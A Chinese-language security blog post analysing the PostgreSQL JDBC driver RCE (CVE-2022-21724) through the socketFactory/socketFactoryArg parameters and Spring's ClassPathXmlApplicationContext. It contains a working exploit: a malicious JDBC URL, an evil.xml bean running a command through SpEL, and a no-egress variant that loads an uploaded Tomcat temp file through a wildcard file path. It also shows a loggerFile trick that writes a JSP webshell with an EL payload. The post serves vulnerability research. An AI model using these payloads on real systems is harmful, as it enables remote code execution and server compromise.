PostgreSQL JDBC RCE &&不出网利用

前言

5月写的文章了,本来是打算把所有类型数据库的JDBC RCE写成一篇,一直没发。但是想想还是先把pgsql的单独拿出来,因为光其一篇的内容其实已经不少了。当时是看到p牛和Ar3h提出的小挑战学习到的,结果没过多久挖了一个系统的jdbc的rce漏洞,刚好可以用挑战题解的方法来不出网利用,也是很巧了。

漏洞环境

依赖影响范围:
9.4.1208 <=PgJDBC <42.2.25
42.3.0 <=PgJDBC < 42.3.2

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>  
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.23</version>
</dependency>
</dependencies>

测试demo

1
2
3
4
5
6
7
8
9
public class JDBC_ATTACK {  
public static void main(String[] args) throws SQLException {
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:9999/evil.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
System.out.println(jdbcUrl);
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}

准备一个xml文件 如下——evil.xml

1
2
3
4
5
6
7
8
9
10
<beans xmlns="http://www.springframework.org/schema/beans"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>

远程命令执行socketFactory&socketFactoryArg

1
jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:9999/evil.xml

下面调试流程图来自:PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)-先知社区

调用链这张图很清楚了,我们就不一步步调试,只看需要关注的地方。

DriverManager.getConnection出发到org.postgresql.Driver#connect方法,将url解析的结果给到了一个表示属性的变量props,其中就有两个已经看起来不对劲了,socketFactory和socketFactoryArg,这两个都是可控的,一个叫socket工厂类,一个是工厂类参数,如果说这个工厂类在创造实例的时候没有限制范围,让我们任意创建了,构造函数的参数又可控,那就很容易造成RCE了。

解析的部分也很简单,通过?符号分割url指向的服务器和url参数,参数用&分割来解析。

接着走到org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl中,这里是根据配置的主机列表、SSL 模式、目标服务器类型等参数,尝试建立与 PostgreSQL 服务器的连接,这个过程中会根据连接属性(info)动态获取一个 SocketFactory 实例,用于后续创建与 PostgreSQL 服务器通信的套接字(Socket),这里的info就是我们之前解析jdbc url的props。

获取了info中socketFactory和socketFactoryArg的值去创建工厂类。这两个值就是我们在url中传入的参数。

然后就是熟悉的Class.forName工厂类,然后用newInstance去实例化,实例化的时候将恶意xml文件的url作为参数传入。

如果熟悉ClassPathXmlApplicationContext类的话到这里就已经明白了原理,不了解这个类的也可以接着看看,我还是记录一个的过程。当然更推荐p牛的文章,写的很详细了,同时也介绍了该类的一个不出网利用手法:Java利用无外网(下):ClassPathXmlApplicationContext的不出网利用

ClassPathXmlApplicationContext

这个类是 Spring 框架中 ApplicationContext 接口的一个实现类,用于从指定路径中加载 XML 配置文件,初始化 Spring 容器并管理 Bean 的生命周期。

首先,这个类所有实例化方法都会走到下面这个重载的方法。其中configLocations就携带我们指定xml文件的路径。

1
2
3
4
5
6
7
public ClassPathXmlApplicationContext(String[] configLocations, boolean refresh, @Nullable ApplicationContext parent) throws BeansException {  
super(parent);
this.setConfigLocations(configLocations);
if (refresh) {
this.refresh();
}
}

setConfigLocaltions这个方法是将指定路径设置到当前的这个ClassPathXmlApplicationContext对象的变量里,方便后续调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
public void setConfigLocations(@Nullable String... locations) {  
if (locations != null) {
Assert.noNullElements(locations, "Config locations must not be null");
this.configLocations = new String[locations.length];

for(int i = 0; i < locations.length; ++i) {
this.configLocations[i] = this.resolvePath(locations[i]).trim();
}
} else {
this.configLocations = null;
}

}

不过深入resolvePath方法来到PropertyPlaceholderHelper#parseStringValue中,这里有个操作在后续会用一定利用,可以看到出现了${这个符号,这里是会去查找占位符的前缀,然后找到对应的后缀,提取出占位符名称,接着通过PlaceholderResolver来解析这个占位符的值出去替换。

接着看到refresh方法,刚刚是配置了configLocations为我们指定的xml配置文件路径,接着就要去进行一个刷新操作了。整体流程可以分为准备阶段、BeanFactory构建、Bean实例化和收尾处理这四个阶段。触发点在finishBeanFactoryInitialization方法实例化的时候

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public void refresh() throws BeansException, IllegalStateException {  
synchronized(this.startupShutdownMonitor) {
StartupStep contextRefresh = this.applicationStartup.start("spring.context.refresh");
this.prepareRefresh();
ConfigurableListableBeanFactory beanFactory = this.obtainFreshBeanFactory();
this.prepareBeanFactory(beanFactory);

try {
this.postProcessBeanFactory(beanFactory);
StartupStep beanPostProcess = this.applicationStartup.start("spring.context.beans.post-process");
this.invokeBeanFactoryPostProcessors(beanFactory);
this.registerBeanPostProcessors(beanFactory);
beanPostProcess.end();
this.initMessageSource();
this.initApplicationEventMulticaster();
this.onRefresh();
this.registerListeners();
this.finishBeanFactoryInitialization(beanFactory);
this.finishRefresh();
} catch (BeansException var10) {
if (this.logger.isWarnEnabled()) {
this.logger.warn("Exception encountered during context initialization - cancelling refresh attempt: " + var10);
}

this.destroyBeans();
this.cancelRefresh(var10);
throw var10;
} finally {
this.resetCommonCaches();
contextRefresh.end();
}

}
}

当Spring加载我们构造的XML配置文件时,会创建pb这个bean。创建过程中,SpEL表达式会被执行,导致ProcessBuilder的start方法被调用,从而执行calc.exe。Spring的默认行为是在初始化单例bean时立即实例化,并且SpEL表达式在解析时会立即执行,这导致漏洞在上下文刷新阶段就被触发,无需等待其他操作。

p牛的文章里提到这个refresh方法里面有个有意思的点,obtainFreshBeanFactory方法获取新BeanFactory的时候会去加载Bean定义,此时会先去location中获取在configLocations方法中指定的资源,也就是http://127.0.0.1:9999/evil.xml。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public Resource[] getResources(String locationPattern) throws IOException {
Assert.notNull(locationPattern, "Location pattern must not be null");

// 处理 classpath*: 前缀的类路径资源
if (locationPattern.startsWith("classpath*:")) {
String pattern = locationPattern.substring("classpath*:".length());
// 判断是否为通配符模式(含有*或?)
return this.getPathMatcher().isPattern(pattern)
? this.findPathMatchingResources(locationPattern) // 通配符匹配
: this.findAllClassPathResources(pattern); // 普通类路径加载
}
// 处理其他协议(如http/file/war等)
else {
// 确定协议前缀结束位置(如war:file:...*/ 或 http://)
int prefixEnd = locationPattern.startsWith("war:")
? locationPattern.indexOf("*/") + 1
: locationPattern.indexOf(':') + 1;

// 判断路径是否包含通配符
return this.getPathMatcher().isPattern(locationPattern.substring(prefixEnd))
? this.findPathMatchingResources(locationPattern) // 模式匹配加载
: new Resource[]{this.getResourceLoader().getResource(locationPattern)}; // 直接加载单资源
}
}

没错,isPattern方法会去尝试通配符匹配。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public boolean isPattern(@Nullable String path) {  
if (path == null) {
return false;
} else {
boolean uriVar = false;

for(int i = 0; i < path.length(); ++i) {
char c = path.charAt(i);
if (c == '*' || c == '?') {
return true;
}

if (c == '{') {
uriVar = true;
} else if (c == '}' && uriVar) {
return true;
}
}

return false;
}
}

我们指定xml文件的时候,可以使用file协议制定,此时就需要上传一个文件了,而Tomcat在接收到一个multipart/form-data的数据包请求时,会将每个multipart块依次保存在临时目录下。当然,这个过程很快就会删除,

可以看到发送上传数据包,upload_3088cfbb_b656_4560_97da_73a9a079c0c3_00000002.tmp文件被创建,随后由立刻删除。

此时如果我们将原本是挂载到服务器的evil.xml通过这种方式上传,然后用file协议读取,是不是就可以无需出网RCE了。记住不要用调试启动服务,不然读取的时候,文件已经被删除了。

这个文件名很复杂,不过上述提到的通配符很好的解决了这个问题,我们只需要读取C:/*/asus/AppData/Local/Temp/tomcat*/**/*.tmp即可,tomcat*是匹配tomcat.8080.203470300903884056**匹配work\Tomcat\localhost\ROOT

关于poc的优化,也就是更通用的poc,我左思右想还是决定直接贴上p牛的原文了,毕竟关于这个点的理解还是不够深入。

上面这个请求还有些不完美,对于不同方式启动的Tomcat,这个临时文件的位置不尽相同。阅读Tomcat代码我们可以发现,这个临时文件所在的位置应该位于Tomcat安装目录下的work目录下。

但对于单文件Springboot来说,此时Tomcat是嵌入式的并不存在安装目录,所以此时临时文件将会存储在系统临时目录下的一个子目录中的work目录下,比如上面图中的

C:\Users\anywhere\AppData\Local\Temp\tomcat.8080.6671401320415070416

那么我们是否可以写出一个适配所有环境的Payload?

还记得前面说的setConfigLocations()函数吗,传入ClassPathXmlApplicationContext的URL将会渲染一次环境变量,${catalina.home}这个环境变量就指向Tomcat的安装目录,直接使用这个变量就可以避免环境差异导致的问题:

任意文件写入 loggerLevel&loggerFile

任意文件写入吧,能指定文件名,然后会生成该文件,将日志信息保存进去,能控制的内容比较有限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;  

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class JDBC_ATTACK_Locate {
public static void main(String[] args) throws SQLException {
String loggerLevel = "debug";
String loggerFile = "test.txt";
String shellContent="cmisl";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}

tomcat的话考虑写jsp:

1
jdbc:postgresql:${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)}?loggerLevel=TRACE&loggerFile=/tomcat/.../a.jsp

el表达式不受脏数据影响

参考文章

PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)-先知社区

Java利用无外网(下):ClassPathXmlApplicationContext的不出网利用